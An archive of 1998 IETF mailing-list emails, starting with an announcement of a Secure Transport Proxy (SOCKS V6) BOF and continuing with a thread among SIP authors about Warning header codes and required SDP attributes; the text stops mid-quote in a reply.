http://www.icast.com/

From confctrl-owner  Thu Jun 25 13:36:38 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA09435
	for confctrl-outgoing; Thu, 25 Jun 1998 13:36:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA09430
	for <confctrl@zephyr.isi.edu>; Thu, 25 Jun 1998 13:36:37 -0700 (PDT)
Received: from telemann.inoc.dl.nec.com (mail1.nec.com [143.101.112.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA21465
	for <confctrl@isi.edu>; Thu, 25 Jun 1998 13:36:35 -0700 (PDT)
Received: from shredder.syl.dl.nec.com (shredder.syl.dl.nec.com [143.101.64.3])
	by telemann.inoc.dl.nec.com (8.8.8/8.8.8) with ESMTP id PAA09121;
	Thu, 25 Jun 1998 15:32:52 -0500 (CDT)
Received: from speedy.syl.dl.nec.com (speedy.syl.dl.nec.com [143.101.64.26])
	by shredder.syl.dl.nec.com (8.8.5/8.8.5) with ESMTP id PAA22990;
	Thu, 25 Jun 1998 15:32:50 -0500 (CDT)
Received: (from wlu@localhost)
	by speedy.syl.dl.nec.com (8.8.5/8.8.5) id PAA01879;
	Thu, 25 Jun 1998 15:32:49 -0500 (CDT)
Date: Thu, 25 Jun 1998 15:32:49 -0500 (CDT)
From: Wei Lu <wlu@syl.dl.nec.com>
Message-Id: <199806252032.PAA01879@speedy.syl.dl.nec.com>
To: aft@socks.nec.com
Subject: BOF for SOCKS V6
Cc: socks@socks.nec.com, socks5@socks.nec.com, stp@socks.nec.com,
        firewalls@greatcircle.com, rem-conf@es.net, confctrl@ISI.EDU,
        mboned@network-services.uoregon.edu
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-MD5: XJRMBcMd0ip+k5Iez4a/fg==
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

There will be a BOF in the coming IETF Conference in Chicago
to discuss issues relating to Secure Transport Proxy. It is
intended to extend works being done by AFT WG. A mailing list,

	stp@socks.nec.com

and a archive web site,

	http://www.socks.nec.com/socksinfo.html

have been set.

To join the list, send a message to

         majordomo@socks.nec.com

Do not include a Subject in your message. The message body
should contain one line as follows:

	subscribe stp your_E_mail_address

We will hold the discussions for a week so that those who are
interested in would have time to catch up the mailbox and join
the list.

A draft of the charter has been included for your reference.

==================================================
Wei Lu			Email:	wlu@syl.dl.nec.com
Principal, MTS		Voice:	972-518-3507
Networking Systems Lab. NEC USA, Inc.
==================================================

**************************************************************
Description of Working Group:

The proliferation of networking technologies and
applications bring new promises and challenges to the
Internet. One such challenge is how to develop and
manage a heterogeneous and colossal networking environment?
Specifically, how to manage a network that consists of IPv4,
RFC1918, IPv6, IPSec, mobile IP, and a variety of applications
that use multiple IP transports, TCP, UDP, and Multicast?
The Secure Transport Proxy Working Group (STP) is chartered
to specify a generic mechanism to proxy IP transports
in a secure manner.

The protocol will evolve from the existing work done by the
Authenticated Firewall Traversal Working Group (AFT). It will
focus on transport proxy mechanisms that are secure, scalable,
efficient and flexible. The protocol will be specifically
designed for bi-directional establishment of TCP, UDP and
Multicast proxy channels over a heterogeneous network
environment, enabling application protocols to securely
pass through firewalls.

The STP working group will not develop specific authentication
protocols, cryptographic techniques, or related key management
methods, but instead, use the work of other IETF working groups
in these areas. The protocol's primary security goal will be to
provide a framework to incorporate existing security
technologies such as IPSEC, TLS, Kerberos, and others. In
addition, the protocol will support end-to-end security in a
multiple proxy environment and security of multicast proxy
channel.
*****************************************************************


From confctrl-owner  Sun Jun 28 06:45:22 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA29891
	for confctrl-outgoing; Sun, 28 Jun 1998 06:45:22 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA29886
	for <confctrl@zephyr.isi.edu>; Sun, 28 Jun 1998 06:45:21 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA03209
	for <confctrl@ISI.EDU>; Sun, 28 Jun 1998 06:45:18 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id QAA01218; Sun, 28 Jun 1998 16:44:34 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 42256631.0050FD06 ; Sun, 28 Jun 1998 16:44:36 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: mjh@ISI.EDU
cc: confctrl@ISI.EDU, pint@lists.research.bell-labs.com
Message-ID: <42256631.004FF897.00@il4.vocaltec.co.il>
Date: Sun, 28 Jun 1998 16:39:41 +0200
Subject: Re: Missing Warning reasons to SIP
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk





From: Scott Petrack@VOCALTEC on 06/28/98 04:39 PM


>I agree with most but not all of these.  The two I have reservations
>about are Attribute and BW Type.  The others MUST be understood in
>order to join the session, and hence merit causing an error and having
>a warning field allocated to them.
>
....
>
>As we progress SDP to draft standard and it gets used in a wider range
>of circumstances, we might consider whether we need to add the SDP
>equivalent of a "Require:" header for attributes to make the
>distinction clearer.

Ahhh. I thought that it is not necessary that a Warning: header be
returned in an error reponse. I thought that even a response which denotes
success
might carry a Warning: header, to indicate, well, a warning ;-).

So basically I agree with Mark, I just assumed that this was already
allowed to have
certain Warning returned in success responses.  I merely wanted these
Warnings to be "pre-defined" and agreed upon.

Finally, I agree entirely that if you want to force an error to occur if an
option is
not supported, you should use a Require:. In my PINT draft (soon to be out)
I define a
Require: field for each new PINT option, so that a client can get an error
if the particular option it needs is not supported.

Scott




From confctrl-owner  Sun Jun 28 09:02:17 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA04553
	for confctrl-outgoing; Sun, 28 Jun 1998 09:02:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA04548
	for <confctrl@zephyr.isi.edu>; Sun, 28 Jun 1998 09:02:16 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA13108
	for <confctrl@ISI.EDU>; Sun, 28 Jun 1998 09:02:14 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id MAA23570; Sun, 28 Jun 1998 12:01:50 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: "Scott Petrack" <Scott_Petrack@vocaltec.com>
cc: confctrl@ISI.EDU, pint@lists.research.bell-labs.com
Subject: Re: Missing Warning reasons to SIP 
In-reply-to: Your message of "Sun, 28 Jun 1998 16:39:41 +0200."
             <42256631.004FF897.00@il4.vocaltec.co.il> 
Date: Sun, 28 Jun 1998 12:01:50 -0400
Message-ID: <23568.899049710@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>Ahhh. I thought that it is not necessary that a Warning: header be
>returned in an error reponse. I thought that even a response which denotes
>success
>might carry a Warning: header, to indicate, well, a warning ;-).
>
>So basically I agree with Mark, I just assumed that this was already
>allowed to have
>certain Warning returned in success responses.  I merely wanted these
>Warnings to be "pre-defined" and agreed upon.


I just re-read what the spec says, and I think you're right - we need
to extend the wording in the description of the Warning header.  It
should be quite acceptable to return a Warning header in a wide range
of circumstances, not just in a "606 Not Acceptable" response.

However, the only existing warnings defined are 606.x warnings - those
that cause a failure because the recipient cannot participate in the
session as described.

"Unknown attribute" and "unknown bandwidth" would appear to be 200.x
warnings - they don't cause an error, but it might be useful to inform
the caller that they were ignored.

Off the top of my head, useful 200.x warnings would be:
  200.1 - Unknown SIP header field
  200.2 - Unknown session attribute
  200.3 - Unknown session bandwidth specifier

The problem is the current usage of 606.x warnings is to return in the
response payload a modifed session description that would be
acceptable, not to indicate directly what is unacceptable.  Thus
getting "200.2 Unknown session attribute" doesn't tell you which
attribute is unacceptable, and hence isn't terribly much use.  What
you might do is remove the attribute from the session description sent
back to the caller, although this is somewhat subtle, and may not work
at all for unicast calls where an attribute might only be intended to
apply to one direction.  Thus right now I'm reluctant to add these
warning codes until we've sorted out how to make them unambiguous.

Most other response codes don't justify warning codes because there is
little that can be done automatically by a UA client that receives
them.  If there is no *automatic* course of action the UAC can take, I
would expect a simple textual payload to be sufficient for debugging
purposes.  We don't want to add complexity to SIP with
additional Warning codes.  Perhaps we should define a generic warning
code to convey this, because often we cannot use a text/plain payload
as we're already obliged to carry an application/sdp payload (200 is
the obvious case).  So perhaps we should define a new Warning code:
  
  000.0 Generic Warning

The idea is that the text conveyed by the warning field explains to
someone attempting to debug code that something unexpected happened,
but that the UA client is not expected to do anything special with the
Warning field.  A good example of this might be with a "400 Bad
Request" field, where the client has erred and so you don't expect it
to be able to do anything automatic to fix the problem, but would at
least like to be able to report what exactly the problem was that the
server had with the request.  

Looking through the list of response codes, I find very few others
that might want to return additional information that 000.0 would
*not* be appropriate for and that appropriate mechanisms aren't
already defined:

  "482 Loop Detected"
     it would be good to have a way to return the path that lead to it
     because either proxies or UA clients might be able to modify
     their future requests to avoid the problem.  Of course doing so
     would not be mandatory for sites that wish to hide topology.


  "483 Too Many Hops"
     as 482

That was all I found.  These two don't seem to be well handled by a
warning field.  Do we want to define an alternative mechanism?  In
these cases, returning a payload of application/sip or
application/quoted-sip and simply returning the Via headers as a
payload might be an appropriate course of action.


More importantly, looking at the 606.x warnings, I find that we've
only specified how to discover what the problem really is on the
examples section (14.8 in the 07a draft).  We need to add text to make
this much clearer.


Cheers,
	Mark

From confctrl-owner  Mon Jun 29 03:20:14 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA15217
	for confctrl-outgoing; Mon, 29 Jun 1998 03:20:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA15203
	for <confctrl@zephyr.isi.edu>; Mon, 29 Jun 1998 03:20:12 -0700 (PDT)
Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.175.134.209])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA02318
	for <confctrl@isi.edu>; Mon, 29 Jun 1998 03:20:10 -0700 (PDT)
Received: from cs.columbia.edu (wallace [193.175.132.42])
	by mailhub.fokus.gmd.de (8.8.8/8.8.8) with ESMTP id MAA05543;
	Mon, 29 Jun 1998 12:17:35 +0200 (MET DST)
Message-ID: <359769BB.3DC13881@cs.columbia.edu>
Date: Mon, 29 Jun 1998 12:17:31 +0200
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: GMD-FOKUS, Hardenbergplatz 2, 10623 Berlin, Germany
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Mark Handley <mjh@ISI.EDU>
CC: Scott Petrack <Scott_Petrack@vocaltec.com>, confctrl@ISI.EDU,
        pint@lists.research.bell-labs.com
Subject: Re: Missing Warning reasons to SIP
References: <23568.899049710@north.lcs.mit.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark Handley wrote:
> 
> >Ahhh. I thought that it is not necessary that a Warning: header be
> >returned in an error reponse. I thought that even a response which denotes
> >success
> >might carry a Warning: header, to indicate, well, a warning ;-).
> >
> >So basically I agree with Mark, I just assumed that this was already
> >allowed to have
> >certain Warning returned in success responses.  I merely wanted these
> >Warnings to be "pre-defined" and agreed upon.
> 
> I just re-read what the spec says, and I think you're right - we need
> to extend the wording in the description of the Warning header.  It
> should be quite acceptable to return a Warning header in a wide range
> of circumstances, not just in a "606 Not Acceptable" response.
> 
> However, the only existing warnings defined are 606.x warnings - those
> that cause a failure because the recipient cannot participate in the
> session as described.
> 
> "Unknown attribute" and "unknown bandwidth" would appear to be 200.x
> warnings - they don't cause an error, but it might be useful to inform
> the caller that they were ignored.
> 
> Off the top of my head, useful 200.x warnings would be:
>   200.1 - Unknown SIP header field
>   200.2 - Unknown session attribute
>   200.3 - Unknown session bandwidth specifier
> 
> The problem is the current usage of 606.x warnings is to return in the
> response payload a modifed session description that would be
> acceptable, not to indicate directly what is unacceptable.  Thus
> getting "200.2 Unknown session attribute" doesn't tell you which
> attribute is unacceptable, and hence isn't terribly much use.  What
> you might do is remove the attribute from the session description sent
> back to the caller, although this is somewhat subtle, and may not work
> at all for unicast calls where an attribute might only be intended to
> apply to one direction.  Thus right now I'm reluctant to add these
> warning codes until we've sorted out how to make them unambiguous.

Warnings (in the compiler sense) for 200-class responses are an
interesting idea. Note that we don't really have to standardize all of
them, either. There is nothing much that prevents somebody from sending
back a generic

Warning: 200 example.com Ignored unknown "a:foobar" attribute
Warning: 200 example.com Unknown session bandwidth specifier "bucket"
Warning: 200 example.com Ich verstehe nur Bandbreiten in kb/s
  [Assuming the server has reason to believe that the client speaks
German.]

Note that the warning text is just a guideline - you can make it more
specific and tailor it to local needs as needed.

[I'll adjust the BNF and wording accordingly.]

A more subtle problem is that the user agent doesn't currently quite
know what to do with the warnings, except display them. I would suggest
that the spec can be quiet on this, with a good user interface giving
the user three choices:

(novice) don't display warnings (or hide them behind a "show details"
button), but log them somewhere on the local system so that help staff
can find them

(regular) display warnings for codes >= 300

(expert) display all warnings

> 
> Most other response codes don't justify warning codes because there is
> little that can be done automatically by a UA client that receives
> them.  If there is no *automatic* course of action the UAC can take, I
> would expect a simple textual payload to be sufficient for debugging
> purposes.  We don't want to add complexity to SIP with
> additional Warning codes.  Perhaps we should define a generic warning
> code to convey this, because often we cannot use a text/plain payload
> as we're already obliged to carry an application/sdp payload (200 is
> the obvious case).  So perhaps we should define a new Warning code:
> 
>   000.0 Generic Warning
> 
> The idea is that the text conveyed by the warning field explains to
> someone attempting to debug code that something unexpected happened,
> but that the UA client is not expected to do anything special with the
> Warning field.  A good example of this might be with a "400 Bad
> Request" field, where the client has erred and so you don't expect it
> to be able to do anything automatic to fix the problem, but would at
> least like to be able to report what exactly the problem was that the
> server had with the request.

I'm not sure I understand what you want to happen here and why the
warning is needed. If you have a 400 (or indeed any >200) response, you
would include a text/html or text/plain or text/special-debug-format (if
client deemed it acceptable in an Accept header) that spells it out in
any detail desirable.  A good designer will have something like:

400 Bad Request

The request sent by your client had some kind of problem that is
unlikely to be fixable by a user. Below is the technical detail:

... lots of protocol mumbo-jumbo meant to be emailed to an expert ... 

> 
> Looking through the list of response codes, I find very few others
> that might want to return additional information that 000.0 would
> *not* be appropriate for and that appropriate mechanisms aren't
> already defined:
> 
>   "482 Loop Detected"
>      it would be good to have a way to return the path that lead to it
>      because either proxies or UA clients might be able to modify
>      their future requests to avoid the problem.  Of course doing so
>      would not be mandatory for sites that wish to hide topology.
> 
>   "483 Too Many Hops"
>      as 482
> 
> That was all I found.  These two don't seem to be well handled by a
> warning field.  Do we want to define an alternative mechanism?  In
> these cases, returning a payload of application/sip or
> application/quoted-sip and simply returning the Via headers as a
> payload might be an appropriate course of action.

message/sip would seem to be the appropriate type.

> 
> More importantly, looking at the 606.x warnings, I find that we've
> only specified how to discover what the problem really is on the
> examples section (14.8 in the 07a draft).  We need to add text to make
> this much clearer.

Indeed.

> 
> Cheers,
>         Mark
> ---------
> This message came from the IETF PINT Working Group Mailing List.

-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Mon Jun 29 04:51:13 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA18711
	for confctrl-outgoing; Mon, 29 Jun 1998 04:51:13 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA18691
	for <confctrl@zephyr.isi.edu>; Mon, 29 Jun 1998 04:51:10 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA07221
	for <confctrl@ISI.EDU>; Mon, 29 Jun 1998 04:51:07 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id OAA18303; Mon, 29 Jun 1998 14:51:17 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 42256632.0046BE49 ; Mon, 29 Jun 1998 14:52:42 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: mjh@ISI.EDU
cc: confctrl@ISI.EDU, pint@lists.research.bell-labs.com
Message-ID: <42256632.003E768E.00@il4.vocaltec.co.il>
Date: Mon, 29 Jun 1998 14:34:29 +0200
Subject: Can a client make the server return an error instead of ignore an
	 unknown?
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk





From: Scott Petrack@VOCALTEC on 06/29/98 02:34 PM

Along similar lines.....

We've agreed that "most of the time" if a server doesn't understand an
attribute it doesn't return an error, although it may do so. (An current
example might be a badly formed rtpmap line).

Is there some way for the client to request that it _wants_ the server to
return an error if the attribute cannot
be satisfied? As an example, the client may include an attribute line
"a=quality:10" to request a high quality image.
Can the client include something to say that the attribute is "required"
and not merely "requested" -- that is,
if the server can't deliver a high quality image, it should fail the
request (say with 606 Request Not Acceptable).

There are many attributes where this is useful or necessary ("If I can't
see the film in the original Swahili, I'm just not interested....").

This is a pure SDP question, but I suppose we could invent a horrible SIP
header hack to do this.

Scott





mjh@east.isi.edu on 06/28/98 06:01:50 PM

To:   Scott Petrack
cc:   confctrl@ISI.EDU, pint@lists.research.bell-labs.com
Subject:  Re: Missing Warning reasons to SIP





>Ahhh. I thought that it is not necessary that a Warning: header be
>returned in an error reponse. I thought that even a response which denotes
>success
>might carry a Warning: header, to indicate, well, a warning ;-).
>
>So basically I agree with Mark, I just assumed that this was already
>allowed to have
>certain Warning returned in success responses.  I merely wanted these
>Warnings to be "pre-defined" and agreed upon.

I just re-read what the spec says, and I think you're right - we need
to extend the wording in the description of the Warning header.  It
should be quite acceptable to return a Warning header in a wide range
of circumstances, not just in a "606 Not Acceptable" response.
However, the only existing warnings defined are 606.x warnings - those
that cause a failure because the recipient cannot participate in the
session as described.
"Unknown attribute" and "unknown bandwidth" would appear to be 200.x
warnings - they don't cause an error, but it might be useful to inform
the caller that they were ignored.
Off the top of my head, useful 200.x warnings would be:
  200.1 - Unknown SIP header field
  200.2 - Unknown session attribute
  200.3 - Unknown session bandwidth specifier
The problem is the current usage of 606.x warnings is to return in the
response payload a modifed session description that would be
acceptable, not to indicate directly what is unacceptable.  Thus
getting "200.2 Unknown session attribute" doesn't tell you which
attribute is unacceptable, and hence isn't terribly much use.  What
you might do is remove the attribute from the session description sent
back to the caller, although this is somewhat subtle, and may not work
at all for unicast calls where an attribute might only be intended to
apply to one direction.  Thus right now I'm reluctant to add these
warning codes until we've sorted out how to make them unambiguous.
Most other response codes don't justify warning codes because there is
little that can be done automatically by a UA client that receives
them.  If there is no *automatic* course of action the UAC can take, I
would expect a simple textual payload to be sufficient for debugging
purposes.  We don't want to add complexity to SIP with
additional Warning codes.  Perhaps we should define a generic warning
code to convey this, because often we cannot use a text/plain payload
as we're already obliged to carry an application/sdp payload (200 is
the obvious case).  So perhaps we should define a new Warning code:
  000.0 Generic Warning
The idea is that the text conveyed by the warning field explains to
someone attempting to debug code that something unexpected happened,
but that the UA client is not expected to do anything special with the
Warning field.  A good example of this might be with a "400 Bad
Request" field, where the client has erred and so you don't expect it
to be able to do anything automatic to fix the problem, but would at
least like to be able to report what exactly the problem was that the
server had with the request.
Looking through the list of response codes, I find very few others
that might want to return additional information that 000.0 would
*not* be appropriate for and that appropriate mechanisms aren't
already defined:
  "482 Loop Detected"
     it would be good to have a way to return the path that lead to it
     because either proxies or UA clients might be able to modify
     their future requests to avoid the problem.  Of course doing so
     would not be mandatory for sites that wish to hide topology.

  "483 Too Many Hops"
     as 482
That was all I found.  These two don't seem to be well handled by a
warning field.  Do we want to define an alternative mechanism?  In
these cases, returning a payload of application/sip or
application/quoted-sip and simply returning the Via headers as a
payload might be an appropriate course of action.

More importantly, looking at the 606.x warnings, I find that we've
only specified how to discover what the problem really is on the
examples section (14.8 in the 07a draft).  We need to add text to make
this much clearer.

Cheers,
     Mark






From confctrl-owner  Mon Jun 29 04:51:16 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA18713
	for confctrl-outgoing; Mon, 29 Jun 1998 04:51:16 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA18706
	for <confctrl@zephyr.isi.edu>; Mon, 29 Jun 1998 04:51:12 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA07222
	for <confctrl@ISI.EDU>; Mon, 29 Jun 1998 04:51:07 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id OAA18306; Mon, 29 Jun 1998 14:51:17 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 42256632.0046BDAA ; Mon, 29 Jun 1998 14:52:40 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: mjh@ISI.EDU
cc: confctrl@ISI.EDU, pint@lists.research.bell-labs.com
Message-ID: <42256632.003E8AFE.00@il4.vocaltec.co.il>
Date: Mon, 29 Jun 1998 13:23:08 +0200
Subject: Re: Missing Warning reasons to SIP
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk





From: Scott Petrack@VOCALTEC on 06/29/98 01:23 PM

I don't want to go anywhere near a Rathole at this late stage, so let me
try this as a solution.

I would like to *remove* the "606.x" labels from *all* warnings. Instead,
we can allocate numeric codes
from some "warning code space."  The idea is that the warning should
indicate the "problem" only, and
should not indicate if the problem is a true error (i.e.the request cannot
be processed as is) or not.
The response code indicates if the response is an error or not, and this is
orthogonal to the content of the
Warning.

As an example, one could imagine that if a particular attribute "a=" line
is not understood, it might be
impossible to process the request, although normally the receiver should be
able to ignore the
attribute line. So it would be nice to have some Warning code  "xxx.x
Attribute Not Understood"   which
sometimes appears in errors and sometimes does not.

As another example, it may be that several alternative formats for a
particular media are offered, and the
server understands one but not another. The request can be processed,
because it is only necessary to
understand one of them. But it would be nice to be able to indicate in a
warning that the server doesn't
understand all formats. (For example, I could use this to answer an
invitation to an RTP session with a
Warning that I can't do G.723, even though I can accept the invitation and
use GSM or G.711. etc. You get
the idea).

In addition to the Warnings already described in the current spec with
606.x headers, I would add the ones
I suggested, to say that some SDP extension was not understood, and maybe
Mark's suggestion for a new
warning with "Unknown SIP header field." All in all we would have about 10
Warnings.  As a first crack, I would
suggest that there should be two major numbers at present:  1.x for "SIP
warnings" and "2.x" for "SDP warnings".

I leave it up to the authors now. I just need the ability to warn the
requestor that some SDP extension was not
understood.  And I need to be able to do this both in error responses and
in successful responses.

Scott







mjh@east.isi.edu on 06/28/98 06:01:50 PM

To:   Scott Petrack
cc:   confctrl@ISI.EDU, pint@lists.research.bell-labs.com
Subject:  Re: Missing Warning reasons to SIP





>Ahhh. I thought that it is not necessary that a Warning: header be
>returned in an error reponse. I thought that even a response which denotes
>success
>might carry a Warning: header, to indicate, well, a warning ;-).
>
>So basically I agree with Mark, I just assumed that this was already
>allowed to have
>certain Warning returned in success responses.  I merely wanted these
>Warnings to be "pre-defined" and agreed upon.

I just re-read what the spec says, and I think you're right - we need
to extend the wording in the description of the Warning header.  It
should be quite acceptable to return a Warning header in a wide range
of circumstances, not just in a "606 Not Acceptable" response.
However, the only existing warnings defined are 606.x warnings - those
that cause a failure because the recipient cannot participate in the
session as described.
"Unknown attribute" and "unknown bandwidth" would appear to be 200.x
warnings - they don't cause an error, but it might be useful to inform
the caller that they were ignored.
Off the top of my head, useful 200.x warnings would be:
  200.1 - Unknown SIP header field
  200.2 - Unknown session attribute
  200.3 - Unknown session bandwidth specifier
The problem is the current usage of 606.x warnings is to return in the
response payload a modifed session description that would be
acceptable, not to indicate directly what is unacceptable.  Thus
getting "200.2 Unknown session attribute" doesn't tell you which
attribute is unacceptable, and hence isn't terribly much use.  What
you might do is remove the attribute from the session description sent
back to the caller, although this is somewhat subtle, and may not work
at all for unicast calls where an attribute might only be intended to
apply to one direction.  Thus right now I'm reluctant to add these
warning codes until we've sorted out how to make them unambiguous.
Most other response codes don't justify warning codes because there is
little that can be done automatically by a UA client that receives
them.  If there is no *automatic* course of action the UAC can take, I
would expect a simple textual payload to be sufficient for debugging
purposes.  We don't want to add complexity to SIP with
additional Warning codes.  Perhaps we should define a generic warning
code to convey this, because often we cannot use a text/plain payload
as we're already obliged to carry an application/sdp payload (200 is
the obvious case).  So perhaps we should define a new Warning code:
  000.0 Generic Warning
The idea is that the text conveyed by the warning field explains to
someone attempting to debug code that something unexpected happened,
but that the UA client is not expected to do anything special with the
Warning field.  A good example of this might be with a "400 Bad
Request" field, where the client has erred and so you don't expect it
to be able to do anything automatic to fix the problem, but would at
least like to be able to report what exactly the problem was that the
server had with the request.
Looking through the list of response codes, I find very few others
that might want to return additional information that 000.0 would
*not* be appropriate for and that appropriate mechanisms aren't
already defined:
  "482 Loop Detected"
     it would be good to have a way to return the path that lead to it
     because either proxies or UA clients might be able to modify
     their future requests to avoid the problem.  Of course doing so
     would not be mandatory for sites that wish to hide topology.

  "483 Too Many Hops"
     as 482
That was all I found.  These two don't seem to be well handled by a
warning field.  Do we want to define an alternative mechanism?  In
these cases, returning a payload of application/sip or
application/quoted-sip and simply returning the Via headers as a
payload might be an appropriate course of action.

More importantly, looking at the 606.x warnings, I find that we've
only specified how to discover what the problem really is on the
examples section (14.8 in the 07a draft).  We need to add text to make
this much clearer.

Cheers,
     Mark






From confctrl-owner  Mon Jun 29 05:45:00 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA21149
	for confctrl-outgoing; Mon, 29 Jun 1998 05:45:00 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA21144
	for <confctrl@zephyr.isi.edu>; Mon, 29 Jun 1998 05:44:59 -0700 (PDT)
Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.175.134.209])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA11201
	for <confctrl@isi.edu>; Mon, 29 Jun 1998 05:44:56 -0700 (PDT)
Received: from cs.columbia.edu (wallace [193.175.132.42])
	by mailhub.fokus.gmd.de (8.8.8/8.8.8) with ESMTP id OAA16554;
	Mon, 29 Jun 1998 14:43:46 +0200 (MET DST)
Message-ID: <35978C00.6987F414@cs.columbia.edu>
Date: Mon, 29 Jun 1998 14:43:44 +0200
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: GMD-FOKUS, Hardenbergplatz 2, 10623 Berlin, Germany
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Scott Petrack <Scott_Petrack@vocaltec.com>
CC: mjh@ISI.EDU, confctrl@ISI.EDU, pint@lists.research.bell-labs.com
Subject: Re: Missing Warning reasons to SIP
References: <42256632.003E8AFE.00@il4.vocaltec.co.il>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:
> 
> From: Scott Petrack@VOCALTEC on 06/29/98 01:23 PM
> 
> I don't want to go anywhere near a Rathole at this late stage, so let me
> try this as a solution.
> 
> I would like to *remove* the "606.x" labels from *all* warnings. Instead,
> we can allocate numeric codes
> from some "warning code space."  The idea is that the warning should
> indicate the "problem" only, and
> should not indicate if the problem is a true error (i.e.the request cannot
> be processed as is) or not.
> The response code indicates if the response is an error or not, and this is
> orthogonal to the content of the
> Warning.

I like this idea - it also corresponds to what the HTTP folks are doing.
(One less potential stumbling block during last call...)

> (For example, I could use this to answer an
> invitation to an RTP session with a
> Warning that I can't do G.723, even though I can accept the invitation and
> use GSM or G.711. etc. You get
> the idea).

This type of "warning" (or indication, rather) should be in the session
description (the sender [not really supported by SDP] or receiver
capability [standard SDP attributes]).

> 
> In addition to the Warnings already described in the current spec with
> 606.x headers, I would add the ones
